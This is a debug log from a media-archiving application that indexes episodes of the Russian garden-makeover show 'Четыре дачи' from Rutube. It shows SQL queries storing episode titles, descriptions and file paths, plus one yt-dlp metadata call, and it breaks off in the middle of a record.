("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Домклик предоставляет полный цикл от выбора жилья до оформления ипотеки и безопасного проведения сделки с недвижимостью. https://bit.ly/464RJAc\n\nДачный сезон завершается в Краснодарском крае. Виталий из села Индюк приглашает на свою клубную дачу. Екатерина из города Тимашевск встретит гостей в своём «восточном саду». Людмила из станицы Варениковской покажет, как выглядит её семейный оазис. А Оксана из села Варваровка позовёт дачников на свою королевскую фазенду. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "1c2333a7-9b4d-4b01-92a8-303c4b918d42", "852669a0574e083d351d34f89f45cd4e", 4513, false, "https://rutube.ru/video/852669a0574e083d351d34f89f45cd4e/", 11, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e101400 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2023-10-14 07:30:13Z], ~U[2025-12-09 08:14:57Z], ~U[2025-12-09 08:14:57Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Домклик предоставляет полный цикл от выбора жилья до оформления ипотеки и безопасного проведения сделки с недвижимостью. https://bit.ly/464RJAc\n\nДачный сезон завершается в Краснодарском крае. Виталий из села Индюк приглашает на свою клубную дачу. Екатерина из города Тимашевск встретит гостей в своём «восточном саду». Людмила из станицы Варениковской покажет, как выглядит её семейный оазис. А Оксана из села Варваровка позовёт дачников на свою королевскую фазенду. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "852669a0574e083d351d34f89f45cd4e", 4513, false, "https://rutube.ru/video/852669a0574e083d351d34f89f45cd4e/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e101400 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2023-10-14 07:30:13Z]] 11:14:57.810 [debug] QUERY OK source="sources" db=25.8ms idle=499.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:57.811 [debug] QUERY OK source="media_profiles" db=0.3ms idle=516.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:57.812 [debug] QUERY OK source="media_items" db=0.8ms idle=513.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44617] 11:14:57.813 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Дачницы Волгоградской области проявят своё гостеприимство и поделятся дачными советами. Екатерина покажет свою семейную дачу с большим количеством ягод. Ольга расскажет, какая дача для неё является «самой настоящей». Дарья будет удивлять своей «продуманной» дачей. А Анастасия пригласит на «многогранную» дачу. Кто из участниц победит, покажет программа «Четыре дачи».\n\nПоступай в колледжи Москвы и получи профессию мечты! Подробности на http://колледж.москва", "duration" => 5797, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080200 - Четыре дачи: Волгоградская область.mp4", "id" => "ea42303d71a7ce0426dbc1e15e1758dd", "original_url" => "https://rutube.ru/video/ea42303d71a7ce0426dbc1e15e1758dd/", "playlist_index" => 12, "timestamp" => 1754123408, "title" => "Четыре дачи: Волгоградская область", "upload_date" => "20250802"} 11:14:57.814 [debug] QUERY OK source="sources" db=0.4ms idle=511.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:57.814 [debug] QUERY OK source="sources" db=0.6ms idle=31.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:57.816 [debug] QUERY OK source="media_items" db=0.8ms queue=0.3ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 08:30:08Z], 5] 11:14:58.065 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/206383/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 ДАЧИ/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/d0/d5d019101f4526bd3a91dbeb417b689213da809db942c27946ede8fbc61ce635.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:14:58.104 [debug] QUERY OK source="sources" db=33.1ms idle=258.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:58.105 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=290.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:58.107 [debug] QUERY OK source="media_items" db=1.2ms idle=290.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-22 07:20:03Z], 5] 11:14:58.445 [debug] QUERY OK source="media_items" db=627.7ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дачницы Волгоградской области проявят своё гостеприимство и поделятся дачными советами. Екатерина покажет свою семейную дачу с большим количеством ягод. Ольга расскажет, какая дача для неё является «самой настоящей». Дарья будет удивлять своей «продуманной» дачей. А Анастасия пригласит на «многогранную» дачу. Кто из участниц победит, покажет программа «Четыре дачи».\n\nПоступай в колледжи Москвы и получи профессию мечты! Подробности на http://колледж.москва", "Четыре дачи: Волгоградская область", "f1d78828-3f28-4f9a-8040-58bbe4c69c91", "ea42303d71a7ce0426dbc1e15e1758dd", 5797, false, "https://rutube.ru/video/ea42303d71a7ce0426dbc1e15e1758dd/", 12, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080200 - Четыре дачи: Волгоградская область.mp4", false, false, false, 5, [], 1, ~U[2025-08-02 08:30:08Z], ~U[2025-12-09 08:14:57Z], ~U[2025-12-09 08:14:57Z], "Дачницы Волгоградской области проявят своё гостеприимство и поделятся дачными советами. Екатерина покажет свою семейную дачу с большим количеством ягод. Ольга расскажет, какая дача для неё является «самой настоящей». Дарья будет удивлять своей «продуманной» дачей. А Анастасия пригласит на «многогранную» дачу. Кто из участниц победит, покажет программа «Четыре дачи».\n\nПоступай в колледжи Москвы и получи профессию мечты! Подробности на http://колледж.москва", "Четыре дачи: Волгоградская область", "ea42303d71a7ce0426dbc1e15e1758dd", 5797, false, "https://rutube.ru/video/ea42303d71a7ce0426dbc1e15e1758dd/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080200 - Четыре дачи: Волгоградская область.mp4", false, 5, ~U[2025-08-02 08:30:08Z]] 11:14:58.498 [debug] QUERY OK source="sources" db=51.3ms queue=0.1ms idle=341.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:58.983 [debug] QUERY OK source="media_items" db=876.2ms idle=291.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "0c99e508-8486-42fb-84d8-0eed708b13b5", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", 1, "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, false, false, 5, [], 1, ~U[2022-10-22 07:20:03Z], ~U[2025-12-09 08:14:58Z], ~U[2025-12-09 08:14:58Z], "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, 5, ~U[2022-10-22 07:20:03Z]] 11:14:59.015 [debug] QUERY OK source="sources" db=30.6ms queue=0.1ms idle=644.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:59.015 [debug] QUERY OK source="media_profiles" db=31.8ms queue=484.7ms idle=392.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:59.018 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=570.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-12 14:35:51Z], 5] 11:14:59.019 [debug] QUERY OK source="media_items" db=3.7ms idle=517.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [45862] 11:14:59.019 [debug] Gracefully stopping file follower 11:14:59.607 [debug] QUERY OK source="media_items" db=588.5ms idle=35.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "3a31fe07-17e7-45ef-9935-5b11205c0a2f", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", 2, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2023-08-12 14:35:51Z], ~U[2025-12-09 08:14:59Z], ~U[2025-12-09 08:14:59Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2023-08-12 14:35:51Z]] 11:14:59.643 [debug] QUERY OK source="sources" db=34.9ms idle=592.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:59.645 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=625.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-19 06:40:14Z], 5] 11:15:00.284 [debug] QUERY OK source="media_items" db=638.0ms idle=626.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "b5ea6673-23dd-4599-ab11-2dd5c9ba4949", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", 3, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-19 06:40:14Z], ~U[2025-12-09 08:14:59Z], ~U[2025-12-09 08:14:59Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, 5, ~U[2023-08-19 06:40:14Z]] 11:15:00.348 [debug] QUERY OK source="sources" db=63.2ms idle=838.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:00.349 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=740.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-26 08:00:15Z], 5] 11:15:00.770 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:01.328 [info] {"source":"oban","duration":261603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:02.152 [debug] QUERY OK source="media_items" db=1801.3ms idle=707.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "a80ced72-5c2e-4c64-a879-5ad7bbdbe8b9", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", 4, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-26 08:00:15Z], ~U[2025-12-09 08:15:00Z], ~U[2025-12-09 08:15:00Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, 5, ~U[2023-08-26 08:00:15Z]] 11:15:02.153 [debug] QUERY OK source="sources" db=0.2ms idle=823.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:02.155 [debug] QUERY OK source="media_items" db=0.3ms idle=529.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-02 07:50:13Z], 5] 11:15:02.939 [debug] QUERY OK source="media_items" db=783.0ms idle=139.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "0bdda9c9-b881-4021-821f-e8a8c9ae2e1c", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", 5, "/downloads/rutubeShows/4 ДАЧИ/Season 